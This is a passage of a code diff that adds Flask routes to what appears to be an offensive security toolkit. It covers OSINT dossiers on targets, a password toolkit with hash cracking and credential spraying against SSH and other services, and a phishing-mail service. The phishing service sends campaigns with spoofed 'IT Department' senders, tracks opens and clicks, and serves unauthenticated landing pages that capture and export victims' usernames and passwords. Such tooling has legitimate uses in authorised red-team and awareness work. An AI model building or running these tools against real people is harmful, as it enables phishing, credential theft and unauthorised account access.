'total': total,
|
||||
'status': 'not_found',
|
||||
}
|
||||
|
||||
try:
|
||||
result = future.result()
|
||||
if result:
|
||||
result_data['status'] = result.get('status', 'not_found')
|
||||
result_data['url'] = result.get('url', '')
|
||||
result_data['rate'] = result.get('rate', 0)
|
||||
result_data['title'] = result.get('title', '')
|
||||
result_data['http_code'] = result.get('http_code', 0)
|
||||
result_data['method'] = result.get('method', '')
|
||||
|
||||
if result['status'] == 'good':
|
||||
found += 1
|
||||
results_list.append(result)
|
||||
elif result['status'] == 'maybe':
|
||||
maybe += 1
|
||||
results_list.append(result)
|
||||
elif result['status'] == 'filtered':
|
||||
filtered += 1
|
||||
except Exception:
|
||||
result_data['status'] = 'error'
|
||||
|
||||
yield f'data: {json.dumps(result_data)}\n\n'
|
||||
|
||||
yield f'data: {json.dumps({"type": "done", "total": total, "checked": checked, "found": found, "maybe": maybe, "filtered": filtered})}\n\n'
|
||||
|
||||
except Exception as e:
|
||||
yield f'data: {json.dumps({"type": "error", "message": str(e)})}\n\n'
|
||||
|
||||
return Response(stream_with_context(generate()), content_type='text/event-stream')
|
||||
|
||||
|
||||
# ==================== DOSSIER MANAGEMENT ====================
|
||||
|
||||
def _load_dossier(dossier_id):
|
||||
"""Load a dossier from disk."""
|
||||
path = DOSSIER_DIR / f'{dossier_id}.json'
|
||||
if not path.exists():
|
||||
return None
|
||||
with open(path) as f:
|
||||
return json.load(f)
|
||||
|
||||
|
||||
def _save_dossier(dossier):
|
||||
"""Save a dossier to disk."""
|
||||
path = DOSSIER_DIR / f'{dossier["id"]}.json'
|
||||
with open(path, 'w') as f:
|
||||
json.dump(dossier, f, indent=2)
|
||||
|
||||
|
||||
def _list_dossiers():
|
||||
"""List all dossiers."""
|
||||
dossiers = []
|
||||
for f in sorted(DOSSIER_DIR.glob('*.json'), key=lambda p: p.stat().st_mtime, reverse=True):
|
||||
try:
|
||||
with open(f) as fh:
|
||||
d = json.load(fh)
|
||||
dossiers.append({
|
||||
'id': d['id'],
|
||||
'name': d['name'],
|
||||
'target': d.get('target', ''),
|
||||
'created': d.get('created', ''),
|
||||
'updated': d.get('updated', ''),
|
||||
'result_count': len(d.get('results', [])),
|
||||
'notes': d.get('notes', '')[:100],
|
||||
})
|
||||
except Exception:
|
||||
continue
|
||||
return dossiers
|
||||
|
||||
|
||||
@osint_bp.route('/dossiers')
|
||||
@login_required
|
||||
def list_dossiers():
|
||||
"""List all dossiers."""
|
||||
return jsonify({'dossiers': _list_dossiers()})
|
||||
|
||||
|
||||
@osint_bp.route('/dossier', methods=['POST'])
|
||||
@login_required
|
||||
def create_dossier():
|
||||
"""Create a new dossier."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
name = data.get('name', '').strip()
|
||||
target = data.get('target', '').strip()
|
||||
|
||||
if not name:
|
||||
return jsonify({'error': 'Dossier name required'})
|
||||
|
||||
dossier_id = datetime.now().strftime('%Y%m%d_%H%M%S')
|
||||
dossier = {
|
||||
'id': dossier_id,
|
||||
'name': name,
|
||||
'target': target,
|
||||
'created': datetime.now().isoformat(),
|
||||
'updated': datetime.now().isoformat(),
|
||||
'notes': '',
|
||||
'results': [],
|
||||
}
|
||||
_save_dossier(dossier)
|
||||
return jsonify({'success': True, 'dossier': dossier})
|
||||
|
||||
|
||||
@osint_bp.route('/dossier/<dossier_id>')
|
||||
@login_required
|
||||
def get_dossier(dossier_id):
|
||||
"""Get dossier details."""
|
||||
dossier = _load_dossier(dossier_id)
|
||||
if not dossier:
|
||||
return jsonify({'error': 'Dossier not found'})
|
||||
return jsonify({'dossier': dossier})
|
||||
|
||||
|
||||
@osint_bp.route('/dossier/<dossier_id>', methods=['PUT'])
|
||||
@login_required
|
||||
def update_dossier(dossier_id):
|
||||
"""Update dossier (notes, name)."""
|
||||
dossier = _load_dossier(dossier_id)
|
||||
if not dossier:
|
||||
return jsonify({'error': 'Dossier not found'})
|
||||
|
||||
data = request.get_json(silent=True) or {}
|
||||
if 'name' in data:
|
||||
dossier['name'] = data['name']
|
||||
if 'notes' in data:
|
||||
dossier['notes'] = data['notes']
|
||||
dossier['updated'] = datetime.now().isoformat()
|
||||
_save_dossier(dossier)
|
||||
return jsonify({'success': True})
|
||||
|
||||
|
||||
@osint_bp.route('/dossier/<dossier_id>', methods=['DELETE'])
|
||||
@login_required
|
||||
def delete_dossier(dossier_id):
|
||||
"""Delete a dossier."""
|
||||
path = DOSSIER_DIR / f'{dossier_id}.json'
|
||||
if path.exists():
|
||||
path.unlink()
|
||||
return jsonify({'success': True})
|
||||
return jsonify({'error': 'Dossier not found'})
|
||||
|
||||
|
||||
@osint_bp.route('/dossier/<dossier_id>/add', methods=['POST'])
|
||||
@login_required
|
||||
def add_to_dossier(dossier_id):
|
||||
"""Add search results to a dossier."""
|
||||
dossier = _load_dossier(dossier_id)
|
||||
if not dossier:
|
||||
return jsonify({'error': 'Dossier not found'})
|
||||
|
||||
data = request.get_json(silent=True) or {}
|
||||
results = data.get('results', [])
|
||||
|
||||
if not results:
|
||||
return jsonify({'error': 'No results to add'})
|
||||
|
||||
existing_urls = {r.get('url') for r in dossier['results']}
|
||||
added = 0
|
||||
for r in results:
|
||||
if r.get('url') and r['url'] not in existing_urls:
|
||||
dossier['results'].append({
|
||||
'name': r.get('name', ''),
|
||||
'url': r['url'],
|
||||
'category': r.get('category', ''),
|
||||
'status': r.get('status', ''),
|
||||
'rate': r.get('rate', 0),
|
||||
'added': datetime.now().isoformat(),
|
||||
})
|
||||
existing_urls.add(r['url'])
|
||||
added += 1
|
||||
|
||||
dossier['updated'] = datetime.now().isoformat()
|
||||
_save_dossier(dossier)
|
||||
return jsonify({'success': True, 'added': added, 'total': len(dossier['results'])})
|
||||
|
||||
|
||||
# ==================== EXPORT ====================
|
||||
|
||||
@osint_bp.route('/export', methods=['POST'])
|
||||
@login_required
|
||||
def export_results():
|
||||
"""Export search results in various formats."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
results = data.get('results', [])
|
||||
fmt = data.get('format', 'json')
|
||||
query = data.get('query', 'unknown')
|
||||
|
||||
if not results:
|
||||
return jsonify({'error': 'No results to export'})
|
||||
|
||||
export_dir = get_data_dir() / 'exports'
|
||||
export_dir.mkdir(parents=True, exist_ok=True)
|
||||
timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
|
||||
|
||||
if fmt == 'csv':
|
||||
filename = f'osint_{query}_{timestamp}.csv'
|
||||
filepath = export_dir / filename
|
||||
lines = ['Site,URL,Category,Status,Confidence']
|
||||
for r in results:
|
||||
line = f'{r.get("name","")},{r.get("url","")},{r.get("category","")},{r.get("status","")},{r.get("rate",0)}'
|
||||
lines.append(line)
|
||||
filepath.write_text('\n'.join(lines))
|
||||
else:
|
||||
filename = f'osint_{query}_{timestamp}.json'
|
||||
filepath = export_dir / filename
|
||||
export_data = {
|
||||
'query': query,
|
||||
'exported': datetime.now().isoformat(),
|
||||
'total_results': len(results),
|
||||
'results': results,
|
||||
}
|
||||
filepath.write_text(json.dumps(export_data, indent=2))
|
||||
|
||||
return jsonify({'success': True, 'filename': filename, 'path': str(filepath)})
|
||||
144
web/routes/password_toolkit.py
Normal file
144
web/routes/password_toolkit.py
Normal file
@@ -0,0 +1,144 @@
|
||||
"""Password Toolkit — web routes for hash cracking, generation, and auditing."""
|
||||
|
||||
from flask import Blueprint, render_template, request, jsonify
|
||||
from web.auth import login_required
|
||||
|
||||
password_toolkit_bp = Blueprint('password_toolkit', __name__)
|
||||
|
||||
|
||||
def _svc():
|
||||
from modules.password_toolkit import get_password_toolkit
|
||||
return get_password_toolkit()
|
||||
|
||||
|
||||
@password_toolkit_bp.route('/password-toolkit/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('password_toolkit.html')
|
||||
|
||||
|
||||
@password_toolkit_bp.route('/password-toolkit/identify', methods=['POST'])
|
||||
@login_required
|
||||
def identify_hash():
|
||||
data = request.get_json(silent=True) or {}
|
||||
hashes = data.get('hashes', [])
|
||||
single = data.get('hash', '').strip()
|
||||
if single:
|
||||
hashes = [single]
|
||||
if not hashes:
|
||||
return jsonify({'ok': False, 'error': 'No hash provided'})
|
||||
svc = _svc()
|
||||
if len(hashes) == 1:
|
||||
return jsonify({'ok': True, 'types': svc.identify_hash(hashes[0])})
|
||||
return jsonify({'ok': True, 'results': svc.identify_batch(hashes)})
|
||||
|
||||
|
||||
@password_toolkit_bp.route('/password-toolkit/crack', methods=['POST'])
|
||||
@login_required
|
||||
def crack_hash():
|
||||
data = request.get_json(silent=True) or {}
|
||||
hash_str = data.get('hash', '').strip()
|
||||
if not hash_str:
|
||||
return jsonify({'ok': False, 'error': 'No hash provided'})
|
||||
svc = _svc()
|
||||
result = svc.crack_hash(
|
||||
hash_str=hash_str,
|
||||
hash_type=data.get('hash_type', 'auto'),
|
||||
wordlist=data.get('wordlist', ''),
|
||||
attack_mode=data.get('attack_mode', 'dictionary'),
|
||||
rules=data.get('rules', ''),
|
||||
mask=data.get('mask', ''),
|
||||
tool=data.get('tool', 'auto'),
|
||||
)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@password_toolkit_bp.route('/password-toolkit/crack/<job_id>', methods=['GET'])
|
||||
@login_required
|
||||
def crack_status(job_id):
|
||||
return jsonify(_svc().get_crack_status(job_id))
|
||||
|
||||
|
||||
@password_toolkit_bp.route('/password-toolkit/generate', methods=['POST'])
|
||||
@login_required
|
||||
def generate():
|
||||
data = request.get_json(silent=True) or {}
|
||||
svc = _svc()
|
||||
passwords = svc.generate_password(
|
||||
length=data.get('length', 16),
|
||||
count=data.get('count', 5),
|
||||
uppercase=data.get('uppercase', True),
|
||||
lowercase=data.get('lowercase', True),
|
||||
digits=data.get('digits', True),
|
||||
symbols=data.get('symbols', True),
|
||||
exclude_chars=data.get('exclude_chars', ''),
|
||||
pattern=data.get('pattern', ''),
|
||||
)
|
||||
audits = [svc.audit_password(pw) for pw in passwords]
|
||||
return jsonify({'ok': True, 'passwords': [
|
||||
{'password': pw, **audit} for pw, audit in zip(passwords, audits)
|
||||
]})
|
||||
|
||||
|
||||
@password_toolkit_bp.route('/password-toolkit/audit', methods=['POST'])
|
||||
@login_required
|
||||
def audit():
|
||||
data = request.get_json(silent=True) or {}
|
||||
pw = data.get('password', '')
|
||||
if not pw:
|
||||
return jsonify({'ok': False, 'error': 'No password provided'})
|
||||
return jsonify({'ok': True, **_svc().audit_password(pw)})
|
||||
|
||||
|
||||
@password_toolkit_bp.route('/password-toolkit/hash', methods=['POST'])
|
||||
@login_required
|
||||
def hash_string():
|
||||
data = request.get_json(silent=True) or {}
|
||||
plaintext = data.get('plaintext', '')
|
||||
algorithm = data.get('algorithm', 'sha256')
|
||||
return jsonify(_svc().hash_string(plaintext, algorithm))
|
||||
|
||||
|
||||
@password_toolkit_bp.route('/password-toolkit/spray', methods=['POST'])
|
||||
@login_required
|
||||
def spray():
|
||||
data = request.get_json(silent=True) or {}
|
||||
targets = data.get('targets', [])
|
||||
passwords = data.get('passwords', [])
|
||||
protocol = data.get('protocol', 'ssh')
|
||||
delay = data.get('delay', 1.0)
|
||||
return jsonify(_svc().credential_spray(targets, passwords, protocol, delay=delay))
|
||||
|
||||
|
||||
@password_toolkit_bp.route('/password-toolkit/spray/<job_id>', methods=['GET'])
|
||||
@login_required
|
||||
def spray_status(job_id):
|
||||
return jsonify(_svc().get_spray_status(job_id))
|
||||
|
||||
|
||||
@password_toolkit_bp.route('/password-toolkit/wordlists', methods=['GET'])
|
||||
@login_required
|
||||
def list_wordlists():
|
||||
return jsonify({'ok': True, 'wordlists': _svc().list_wordlists()})
|
||||
|
||||
|
||||
@password_toolkit_bp.route('/password-toolkit/wordlists', methods=['POST'])
|
||||
@login_required
|
||||
def upload_wordlist():
|
||||
f = request.files.get('file')
|
||||
if not f or not f.filename:
|
||||
return jsonify({'ok': False, 'error': 'No file uploaded'})
|
||||
data = f.read()
|
||||
return jsonify(_svc().upload_wordlist(f.filename, data))
|
||||
|
||||
|
||||
@password_toolkit_bp.route('/password-toolkit/wordlists/<name>', methods=['DELETE'])
|
||||
@login_required
|
||||
def delete_wordlist(name):
|
||||
return jsonify(_svc().delete_wordlist(name))
|
||||
|
||||
|
||||
@password_toolkit_bp.route('/password-toolkit/tools', methods=['GET'])
|
||||
@login_required
|
||||
def tools_status():
|
||||
return jsonify({'ok': True, **_svc().get_tools_status()})
|
||||
516
web/routes/phishmail.py
Normal file
516
web/routes/phishmail.py
Normal file
@@ -0,0 +1,516 @@
|
||||
"""Gone Fishing Mail Service — web routes."""
|
||||
|
||||
import json
|
||||
import base64
|
||||
from flask import (Blueprint, render_template, request, jsonify,
|
||||
Response, redirect, send_file)
|
||||
from web.auth import login_required
|
||||
|
||||
phishmail_bp = Blueprint('phishmail', __name__, url_prefix='/phishmail')
|
||||
|
||||
|
||||
def _server():
|
||||
from modules.phishmail import get_gone_fishing
|
||||
return get_gone_fishing()
|
||||
|
||||
|
||||
# ── Page ─────────────────────────────────────────────────────────────────────
|
||||
|
||||
@phishmail_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('phishmail.html')
|
||||
|
||||
|
||||
# ── Send ─────────────────────────────────────────────────────────────────────
|
||||
|
||||
@phishmail_bp.route('/send', methods=['POST'])
|
||||
@login_required
|
||||
def send():
|
||||
"""Send a single email."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
if not data.get('to_addrs'):
|
||||
return jsonify({'ok': False, 'error': 'Recipients required'})
|
||||
if not data.get('from_addr'):
|
||||
return jsonify({'ok': False, 'error': 'Sender address required'})
|
||||
|
||||
to_addrs = data.get('to_addrs', '')
|
||||
if isinstance(to_addrs, str):
|
||||
to_addrs = [a.strip() for a in to_addrs.split(',') if a.strip()]
|
||||
|
||||
config = {
|
||||
'from_addr': data.get('from_addr', ''),
|
||||
'from_name': data.get('from_name', ''),
|
||||
'to_addrs': to_addrs,
|
||||
'subject': data.get('subject', ''),
|
||||
'html_body': data.get('html_body', ''),
|
||||
'text_body': data.get('text_body', ''),
|
||||
'smtp_host': data.get('smtp_host', '127.0.0.1'),
|
||||
'smtp_port': int(data.get('smtp_port', 25)),
|
||||
'use_tls': data.get('use_tls', False),
|
||||
'cert_cn': data.get('cert_cn', ''),
|
||||
'reply_to': data.get('reply_to', ''),
|
||||
'x_mailer': data.get('x_mailer', 'Microsoft Outlook 16.0'),
|
||||
}
|
||||
|
||||
result = _server().send_email(config)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@phishmail_bp.route('/validate', methods=['POST'])
|
||||
@login_required
|
||||
def validate():
|
||||
"""Validate that a recipient is on the local network."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
address = data.get('address', '')
|
||||
if not address:
|
||||
return jsonify({'ok': False, 'error': 'Address required'})
|
||||
|
||||
from modules.phishmail import _validate_local_only
|
||||
ok, msg = _validate_local_only(address)
|
||||
return jsonify({'ok': ok, 'message': msg})
|
||||
|
||||
|
||||
# ── Campaigns ────────────────────────────────────────────────────────────────
|
||||
|
||||
@phishmail_bp.route('/campaigns', methods=['GET'])
|
||||
@login_required
|
||||
def list_campaigns():
|
||||
server = _server()
|
||||
campaigns = server.campaigns.list_campaigns()
|
||||
for c in campaigns:
|
||||
c['stats'] = server.campaigns.get_stats(c['id'])
|
||||
return jsonify({'ok': True, 'campaigns': campaigns})
|
||||
|
||||
|
||||
@phishmail_bp.route('/campaigns', methods=['POST'])
|
||||
@login_required
|
||||
def create_campaign():
|
||||
data = request.get_json(silent=True) or {}
|
||||
name = data.get('name', '').strip()
|
||||
if not name:
|
||||
return jsonify({'ok': False, 'error': 'Campaign name required'})
|
||||
|
||||
template = data.get('template', '')
|
||||
targets = data.get('targets', [])
|
||||
if isinstance(targets, str):
|
||||
targets = [t.strip() for t in targets.split('\n') if t.strip()]
|
||||
|
||||
cid = _server().campaigns.create_campaign(
|
||||
name=name,
|
||||
template=template,
|
||||
targets=targets,
|
||||
from_addr=data.get('from_addr', 'it@company.local'),
|
||||
from_name=data.get('from_name', 'IT Department'),
|
||||
subject=data.get('subject', ''),
|
||||
smtp_host=data.get('smtp_host', '127.0.0.1'),
|
||||
smtp_port=int(data.get('smtp_port', 25)),
|
||||
)
|
||||
return jsonify({'ok': True, 'id': cid})
|
||||
|
||||
|
||||
@phishmail_bp.route('/campaigns/<cid>', methods=['GET'])
|
||||
@login_required
|
||||
def get_campaign(cid):
|
||||
server = _server()
|
||||
camp = server.campaigns.get_campaign(cid)
|
||||
if not camp:
|
||||
return jsonify({'ok': False, 'error': 'Campaign not found'})
|
||||
camp['stats'] = server.campaigns.get_stats(cid)
|
||||
return jsonify({'ok': True, 'campaign': camp})
|
||||
|
||||
|
||||
@phishmail_bp.route('/campaigns/<cid>/send', methods=['POST'])
|
||||
@login_required
|
||||
def send_campaign(cid):
|
||||
data = request.get_json(silent=True) or {}
|
||||
base_url = data.get('base_url', request.host_url.rstrip('/'))
|
||||
result = _server().send_campaign(cid, base_url=base_url)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@phishmail_bp.route('/campaigns/<cid>', methods=['DELETE'])
|
||||
@login_required
|
||||
def delete_campaign(cid):
|
||||
if _server().campaigns.delete_campaign(cid):
|
||||
return jsonify({'ok': True})
|
||||
return jsonify({'ok': False, 'error': 'Campaign not found'})
|
||||
|
||||
|
||||
# ── Templates ────────────────────────────────────────────────────────────────
|
||||
|
||||
@phishmail_bp.route('/templates', methods=['GET'])
|
||||
@login_required
|
||||
def list_templates():
|
||||
templates = _server().templates.list_templates()
|
||||
return jsonify({'ok': True, 'templates': templates})
|
||||
|
||||
|
||||
@phishmail_bp.route('/templates', methods=['POST'])
|
||||
@login_required
|
||||
def save_template():
|
||||
data = request.get_json(silent=True) or {}
|
||||
name = data.get('name', '').strip()
|
||||
if not name:
|
||||
return jsonify({'ok': False, 'error': 'Template name required'})
|
||||
_server().templates.save_template(
|
||||
name, data.get('html', ''), data.get('text', ''),
|
||||
data.get('subject', ''))
|
||||
return jsonify({'ok': True})
|
||||
|
||||
|
||||
@phishmail_bp.route('/templates/<name>', methods=['DELETE'])
|
||||
@login_required
|
||||
def delete_template(name):
|
||||
if _server().templates.delete_template(name):
|
||||
return jsonify({'ok': True})
|
||||
return jsonify({'ok': False, 'error': 'Template not found or is built-in'})
|
||||
|
||||
|
||||
# ── SMTP Relay ───────────────────────────────────────────────────────────────
|
||||
|
||||
@phishmail_bp.route('/server/start', methods=['POST'])
|
||||
@login_required
|
||||
def server_start():
|
||||
data = request.get_json(silent=True) or {}
|
||||
host = data.get('host', '0.0.0.0')
|
||||
port = int(data.get('port', 2525))
|
||||
result = _server().start_relay(host, port)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@phishmail_bp.route('/server/stop', methods=['POST'])
|
||||
@login_required
|
||||
def server_stop():
|
||||
result = _server().stop_relay()
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@phishmail_bp.route('/server/status', methods=['GET'])
|
||||
@login_required
|
||||
def server_status():
|
||||
return jsonify(_server().relay_status())
|
||||
|
||||
|
||||
# ── Certificate Generation ───────────────────────────────────────────────────
|
||||
|
||||
@phishmail_bp.route('/cert/generate', methods=['POST'])
|
||||
@login_required
|
||||
def cert_generate():
|
||||
data = request.get_json(silent=True) or {}
|
||||
result = _server().generate_cert(
|
||||
cn=data.get('cn', 'mail.example.com'),
|
||||
org=data.get('org', 'Example Inc'),
|
||||
ou=data.get('ou', ''),
|
||||
locality=data.get('locality', ''),
|
||||
state=data.get('state', ''),
|
||||
country=data.get('country', 'US'),
|
||||
days=int(data.get('days', 365)),
|
||||
)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@phishmail_bp.route('/cert/list', methods=['GET'])
|
||||
@login_required
|
||||
def cert_list():
|
||||
return jsonify({'ok': True, 'certs': _server().list_certs()})
|
||||
|
||||
|
||||
# ── SMTP Connection Test ────────────────────────────────────────────────────
|
||||
|
||||
@phishmail_bp.route('/test', methods=['POST'])
|
||||
@login_required
|
||||
def test_smtp():
|
||||
data = request.get_json(silent=True) or {}
|
||||
host = data.get('host', '')
|
||||
port = int(data.get('port', 25))
|
||||
if not host:
|
||||
return jsonify({'ok': False, 'error': 'Host required'})
|
||||
result = _server().test_smtp(host, port)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
# ── Tracking (no auth — accessed by email clients) ──────────────────────────
|
||||
|
||||
# 1x1 transparent GIF
|
||||
_PIXEL_GIF = base64.b64decode(
|
||||
'R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7')
|
||||
|
||||
|
||||
@phishmail_bp.route('/track/pixel/<campaign>/<target>')
|
||||
def track_pixel(campaign, target):
|
||||
"""Tracking pixel — records email open."""
|
||||
try:
|
||||
_server().campaigns.record_open(campaign, target)
|
||||
except Exception:
|
||||
pass
|
||||
return Response(_PIXEL_GIF, mimetype='image/gif',
|
||||
headers={'Cache-Control': 'no-store, no-cache'})
|
||||
|
||||
|
||||
@phishmail_bp.route('/track/click/<campaign>/<target>/<link_data>')
|
||||
def track_click(campaign, target, link_data):
|
||||
"""Click tracking — records click and redirects."""
|
||||
try:
|
||||
_server().campaigns.record_click(campaign, target)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Decode original URL
|
||||
try:
|
||||
original_url = base64.urlsafe_b64decode(link_data).decode()
|
||||
except Exception:
|
||||
original_url = '/'
|
||||
|
||||
return redirect(original_url)
|
||||
|
||||
|
||||
# ── Landing Pages / Credential Harvesting ─────────────────────────────────
|
||||
|
||||
@phishmail_bp.route('/landing-pages', methods=['GET'])
|
||||
@login_required
|
||||
def list_landing_pages():
|
||||
return jsonify({'ok': True, 'pages': _server().landing_pages.list_pages()})
|
||||
|
||||
|
||||
@phishmail_bp.route('/landing-pages', methods=['POST'])
|
||||
@login_required
|
||||
def create_landing_page():
|
||||
data = request.get_json(silent=True) or {}
|
||||
name = data.get('name', '').strip()
|
||||
html = data.get('html', '')
|
||||
if not name:
|
||||
return jsonify({'ok': False, 'error': 'Name required'})
|
||||
pid = _server().landing_pages.create_page(
|
||||
name, html,
|
||||
redirect_url=data.get('redirect_url', ''),
|
||||
fields=data.get('fields', ['username', 'password']))
|
||||
return jsonify({'ok': True, 'id': pid})
|
||||
|
||||
|
||||
@phishmail_bp.route('/landing-pages/<pid>', methods=['GET'])
|
||||
@login_required
|
||||
def get_landing_page(pid):
|
||||
page = _server().landing_pages.get_page(pid)
|
||||
if not page:
|
||||
return jsonify({'ok': False, 'error': 'Page not found'})
|
||||
return jsonify({'ok': True, 'page': page})
|
||||
|
||||
|
||||
@phishmail_bp.route('/landing-pages/<pid>', methods=['DELETE'])
|
||||
@login_required
|
||||
def delete_landing_page(pid):
|
||||
if _server().landing_pages.delete_page(pid):
|
||||
return jsonify({'ok': True})
|
||||
return jsonify({'ok': False, 'error': 'Page not found or is built-in'})
|
||||
|
||||
|
||||
@phishmail_bp.route('/landing-pages/<pid>/preview')
|
||||
@login_required
|
||||
def preview_landing_page(pid):
|
||||
html = _server().landing_pages.render_page(pid, 'preview', 'preview', 'user@example.com')
|
||||
if not html:
|
||||
return 'Page not found', 404
|
||||
return html
|
||||
|
||||
|
||||
# Landing page capture endpoints (NO AUTH — accessed by phish targets)
|
||||
@phishmail_bp.route('/lp/<page_id>', methods=['GET', 'POST'])
|
||||
def landing_page_serve(page_id):
|
||||
"""Serve a landing page and capture credentials on POST."""
|
||||
server = _server()
|
||||
if request.method == 'GET':
|
||||
campaign = request.args.get('c', '')
|
||||
target = request.args.get('t', '')
|
||||
email = request.args.get('e', '')
|
||||
html = server.landing_pages.render_page(page_id, campaign, target, email)
|
||||
if not html:
|
||||
return 'Not found', 404
|
||||
return html
|
||||
|
||||
# POST — capture credentials
|
||||
form_data = dict(request.form)
|
||||
req_info = {
|
||||
'ip': request.remote_addr,
|
||||
'user_agent': request.headers.get('User-Agent', ''),
|
||||
'referer': request.headers.get('Referer', ''),
|
||||
}
|
||||
capture = server.landing_pages.record_capture(page_id, form_data, req_info)
|
||||
|
||||
# Also update campaign tracking if campaign/target provided
|
||||
campaign = form_data.get('_campaign', '')
|
||||
target = form_data.get('_target', '')
|
||||
if campaign and target:
|
||||
try:
|
||||
server.campaigns.record_click(campaign, target)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Redirect to configured URL or generic "success" page
|
||||
page = server.landing_pages.get_page(page_id)
|
||||
redirect_url = (page or {}).get('redirect_url', '')
|
||||
if redirect_url:
|
||||
return redirect(redirect_url)
|
||||
return """<!DOCTYPE html><html><head><title>Success</title>
|
||||
<style>body{font-family:sans-serif;display:flex;justify-content:center;align-items:center;min-height:100vh;background:#f5f5f5}
|
||||
.card{background:#fff;padding:40px;border-radius:8px;text-align:center;box-shadow:0 2px 8px rgba(0,0,0,0.1)}
|
||||
</style></head><body><div class="card"><h2>Authentication Successful</h2>
|
||||
<p>You will be redirected shortly...</p></div></body></html>"""
|
||||
|
||||
|
||||
@phishmail_bp.route('/captures', methods=['GET'])
|
||||
@login_required
|
||||
def list_captures():
|
||||
campaign = request.args.get('campaign', '')
|
||||
page = request.args.get('page', '')
|
||||
captures = _server().landing_pages.get_captures(campaign, page)
|
||||
return jsonify({'ok': True, 'captures': captures})
|
||||
|
||||
|
||||
@phishmail_bp.route('/captures', methods=['DELETE'])
|
||||
@login_required
|
||||
def clear_captures():
|
||||
campaign = request.args.get('campaign', '')
|
||||
count = _server().landing_pages.clear_captures(campaign)
|
||||
return jsonify({'ok': True, 'cleared': count})
|
||||
|
||||
|
||||
@phishmail_bp.route('/captures/export')
|
||||
@login_required
|
||||
def export_captures():
|
||||
campaign = request.args.get('campaign', '')
|
||||
captures = _server().landing_pages.get_captures(campaign)
|
||||
# CSV export
|
||||
import io, csv
|
||||
output = io.StringIO()
|
||||
writer = csv.writer(output)
|
||||
writer.writerow(['timestamp', 'campaign', 'target', 'ip', 'user_agent', 'credentials'])
|
||||
for c in captures:
|
||||
creds_str = '; '.join(f"{k}={v}" for k, v in c.get('credentials', {}).items())
|
||||
writer.writerow([c.get('timestamp', ''), c.get('campaign', ''),
|
||||
c.get('target', ''), c.get('ip', ''),
|
||||
c.get('user_agent', ''), creds_str])
|
||||
return Response(output.getvalue(), mimetype='text/csv',
|
||||
headers={'Content-Disposition': f'attachment;filename=captures_{campaign or "all"}.csv'})
|
||||
|
||||
|
||||
# ── Campaign enhancements ─────────────────────────────────────────────────
|
||||
|
||||
@phishmail_bp.route('/campaigns/<cid>/export')
|
||||
@login_required
|
||||
def export_campaign(cid):
|
||||
"""Export campaign results as CSV."""
|
||||
import io, csv
|
||||
camp = _server().campaigns.get_campaign(cid)
|
||||
if not camp:
|
||||
return jsonify({'ok': False, 'error': 'Campaign not found'})
|
||||
output = io.StringIO()
|
||||
writer = csv.writer(output)
|
||||
writer.writerow(['email', 'target_id', 'status', 'sent_at', 'opened_at', 'clicked_at'])
|
||||
for t in camp.get('targets', []):
|
||||
writer.writerow([t['email'], t['id'], t.get('status', ''),
|
||||
t.get('sent_at', ''), t.get('opened_at', ''),
|
||||
t.get('clicked_at', '')])
|
||||
return Response(output.getvalue(), mimetype='text/csv',
|
||||
headers={'Content-Disposition': f'attachment;filename=campaign_{cid}.csv'})
|
||||
|
||||
|
||||
@phishmail_bp.route('/campaigns/import-targets', methods=['POST'])
|
||||
@login_required
|
||||
def import_targets_csv():
|
||||
"""Import targets from CSV (email per line, or CSV with email column)."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
csv_text = data.get('csv', '')
|
||||
if not csv_text:
|
||||
return jsonify({'ok': False, 'error': 'CSV data required'})
|
||||
|
||||
import io, csv
|
||||
reader = csv.reader(io.StringIO(csv_text))
|
||||
emails = []
|
||||
for row in reader:
|
||||
if not row:
|
||||
continue
|
||||
# Try to find email in each column
|
||||
for cell in row:
|
||||
cell = cell.strip()
|
||||
if '@' in cell and '.' in cell:
|
||||
emails.append(cell)
|
||||
break
|
||||
else:
|
||||
# If no email found, treat first column as raw email
|
||||
val = row[0].strip()
|
||||
if val and not val.startswith('#'):
|
||||
emails.append(val)
|
||||
|
||||
# Deduplicate
|
||||
seen = set()
|
||||
unique = []
|
||||
for e in emails:
|
||||
if e.lower() not in seen:
|
||||
seen.add(e.lower())
|
||||
unique.append(e)
|
||||
|
||||
return jsonify({'ok': True, 'emails': unique, 'count': len(unique)})
|
||||
|
||||
|
||||
# ── DKIM ──────────────────────────────────────────────────────────────────
|
||||
|
||||
@phishmail_bp.route('/dkim/generate', methods=['POST'])
|
||||
@login_required
|
||||
def dkim_generate():
|
||||
data = request.get_json(silent=True) or {}
|
||||
domain = data.get('domain', '').strip()
|
||||
if not domain:
|
||||
return jsonify({'ok': False, 'error': 'Domain required'})
|
||||
return jsonify(_server().dkim.generate_keypair(domain))
|
||||
|
||||
|
||||
@phishmail_bp.route('/dkim/keys', methods=['GET'])
|
||||
@login_required
|
||||
def dkim_list():
|
||||
return jsonify({'ok': True, 'keys': _server().dkim.list_keys()})
|
||||
|
||||
|
||||
# ── DNS Auto-Setup ────────────────────────────────────────────────────────
|
||||
|
||||
@phishmail_bp.route('/dns-setup', methods=['POST'])
|
||||
@login_required
|
||||
def dns_setup():
|
||||
data = request.get_json(silent=True) or {}
|
||||
domain = data.get('domain', '').strip()
|
||||
if not domain:
|
||||
return jsonify({'ok': False, 'error': 'Domain required'})
|
||||
return jsonify(_server().setup_dns_for_domain(
|
||||
domain,
|
||||
mail_host=data.get('mail_host', ''),
|
||||
spf_allow=data.get('spf_allow', '')))
|
||||
|
||||
|
||||
@phishmail_bp.route('/dns-status', methods=['GET'])
|
||||
@login_required
|
||||
def dns_check():
|
||||
return jsonify(_server().dns_status())
|
||||
|
||||
|
